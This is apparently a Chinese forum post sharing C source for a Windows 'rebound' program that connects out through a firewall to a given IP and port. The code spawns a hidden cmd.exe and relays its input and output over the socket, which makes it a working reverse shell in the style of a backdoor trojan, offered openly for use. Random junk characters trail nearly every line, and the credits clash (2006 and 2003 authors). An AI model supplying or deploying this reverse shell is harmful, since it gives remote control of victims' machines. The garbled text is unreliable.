这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qFvg}}^y
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/* ============================== /X(@|tk:
Rebound port in Windows NT @N,:x\
By wind,2006/7
N BV}4
===============================*/ *ah>-}-
#include v_y!Oh?EG
#include 6a "VCE]
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#pragma comment(lib,"wsock32.lib") 0!9?H1>
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void OutputShell(); *>H M$.?Q
SOCKET sClient; "6NFe!/Y$*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Dj-\))L
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void main(int argc,char **argv) ;cM8EU^.
{ 1x~%Ydy
WSADATA stWsaData; 7P3<o!YA
int nRet; KzEuPJ?
SOCKADDR_IN stSaiClient,stSaiServer; >2l13^Y
hgTM5*fD}
if(argc != 3) -@EBbM&
{ zvek2\*rO
printf("Useage:\n\rRebound DestIP DestPort\n"); (|yRo
return; Wl^prs7}c
} oUW)H
+= |hMQ;
WSAStartup(MAKEWORD(2,2),&stWsaData); 71oFm1m{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z!C`f/h9
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stSaiClient.sin_family = AF_INET; kx"hWG4
stSaiClient.sin_port = htons(0); "#mXsp-ut
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *u|lmALs
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y3
({(URU
{ _hAj2%SL
printf("Bind Socket Failed!\n"); 6vD]@AF
return; F&W0DaH
} .ujs`9d_-
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stSaiServer.sin_family = AF_INET; uM6CG0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (PCimT=5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |<|28~#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^ l]]qdNr
{ JcvHJ0X~a
printf("Connect Error!"); ]FY?_DGOA
return; jI*}y[o
} &&(4n?
OutputShell(); %Y)PH-z
} 5 {T9*
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void OutputShell() q7 %=`l
{ b>hBct}
char szBuff[1024]; T..N*6<X
SECURITY_ATTRIBUTES stSecurityAttributes; y1,?ZWTayr
OSVERSIONINFO stOsversionInfo; ]y1$F
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wQo6!H"K
STARTUPINFO stStartupInfo; C ?GvTc
char *szShell; LG/=+[\{E
PROCESS_INFORMATION stProcessInformation; )0Y #-=.<
unsigned long lBytesRead; 8]cv &d1f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `l[6rf_.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "4Vi=* 2V
stSecurityAttributes.lpSecurityDescriptor = 0; p6&LZ=tL3
stSecurityAttributes.bInheritHandle = TRUE; hYP6z^
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X_-Hrp!h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _Ewy^;S%L
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "K}W^J9v
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @1pW!AdN
stStartupInfo.wShowWindow = SW_HIDE; L:t)$iF5+
stStartupInfo.hStdInput = hReadPipe; %KJ"rvi4K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (c|$+B^*
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GetVersionEx(&stOsversionInfo); O+(. 29
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switch(stOsversionInfo.dwPlatformId) ;w>3,ub(0
{ .XV]<)<K$
case 1: dK0}% ]i3#
szShell = "command.com"; |g7nh[
break; ])Q9=?Sd}
default: U(S@1i(
szShell = "cmd.exe"; )o
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break; N27K
} {a+Fx}W
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >j(I[_g
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send(sClient,szMsg,77,0); 3<KZ.hr
while(1) :)A.E}G
{ )RAv[U1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SxLHFN]
if(lBytesRead) C1#o<pv
{ t?%}hs\!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;3.T* ?|o
send(sClient,szBuff,lBytesRead,0); >+A1 V[
} J[&
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else N8DiEB3~
{ WV,?Ge
lBytesRead=recv(sClient,szBuff,1024,0); }6uV]V{
if(lBytesRead<=0) break; E5Snl#Gl\0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); C)&gL=O*$
} _-|yCo
} @,yFY
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return; 0M/\bEG(_
}